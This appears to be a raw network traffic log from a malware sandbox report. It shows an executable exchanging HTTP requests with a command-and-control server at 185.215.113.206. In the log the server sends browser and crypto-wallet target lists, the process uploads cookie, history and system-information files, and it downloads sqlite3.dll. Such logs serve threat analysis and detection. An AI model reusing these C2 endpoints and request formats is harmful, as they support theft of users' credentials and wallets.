Nov 12, 2024 21:21:19.480309963 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 51 33 4e 44 56 6b 4d 7a 49 35 4f 44 6c 6b 4d 54 59 34 5a 44 4d 32 59 32 55 32 4e 6a 67 77 4e 7a 63 31 4e 6a 6b 35 59 32 55 7a 4e 54 63 79 4f 57 4e 6d 4d 7a 64 69 4f 57 45 32 59 32 55 31 4e 7a 49 78 5a 57 52 6b 59 7a 49 79 5a 44 41 79 4f 47 51 77 5a 57 51 7a 59 32 55 78 5a 54 51 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGQ3NDVkMzI5ODlkMTY4ZDM2Y2U2NjgwNzc1Njk5Y2UzNTcyOWNmMzdiOWE2Y2U1NzIxZWRkYzIyZDAyOGQwZWQzY2UxZTQ0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 21:21:19.481977940 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="message"browsers------BGCAAFHIEBKJKEBFIEHD--
Nov 12, 2024 21:21:19.765198946 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 21:21:19.765254021 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 21:21:19.766947031 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGIJKEHCAKFCAKFHDAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 2d 2d 0d 0a Data Ascii: ------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="message"plugins------AEGIJKEHCAKFCAKFHDAA--
Nov 12, 2024 21:21:20.049642086 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 21:21:20.049686909 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 12, 2024 21:21:20.049726009 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 12, 2024 21:21:20.049747944 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 12, 2024 21:21:20.049758911 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 12, 2024 21:21:20.049810886 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 12, 2024 21:21:20.050539017 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 12, 2024 21:21:20.050623894 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 12, 2024 21:21:20.052015066 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="message"fplugins------FCBFBGDBKJKECAAKKFHD--
Nov 12, 2024 21:21:20.333992958 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 21:21:20.357162952 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDG Host: 185.215.113.206 Content-Length: 7771 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:21:20.357206106 CET	7771	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 21:21:21.155971050 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:21.604341030 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 21:21:21.900918007 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 21:21:21.900930882 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.206	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:21:29.958117008 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:21:29.958133936 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 12, 2024 21:21:31.765101910 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:31.880573988 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBA Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 21:21:31.880594969 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 12, 2024 21:21:32.960109949 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:32.960299015 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
